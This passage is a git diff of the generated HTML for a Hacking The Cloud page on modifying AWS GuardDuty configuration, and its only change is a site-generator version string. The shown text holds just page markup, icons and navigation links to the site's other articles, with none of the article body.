15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
diff --git a/aws/avoiding-detection/modify-guardduty-config/index.html b/aws/avoiding-detection/modify-guardduty-config/index.html
index ae9d91234..b924abae7 100644
--- a/aws/avoiding-detection/modify-guardduty-config/index.html
+++ b/aws/avoiding-detection/modify-guardduty-config/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities."><link href=https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ rel=canonical><link href=../guardduty-tor-client/ rel=prev><link href=../steal-keys-undetected/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Modify GuardDuty Configuration - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Modify GuardDuty Configuration - Hacking The Cloud"><meta property=og:description content="Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Modify GuardDuty Configuration - Hacking The Cloud"><meta property=twitter:description content="Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities."><link href=https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ rel=canonical><link href=../guardduty-tor-client/ rel=prev><link href=../steal-keys-undetected/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Modify GuardDuty Configuration - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Modify GuardDuty Configuration - Hacking The Cloud"><meta property=og:description content="Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Modify GuardDuty Configuration - Hacking The Cloud"><meta property=twitter:description content="Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#misconfiguring-the-detector class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> 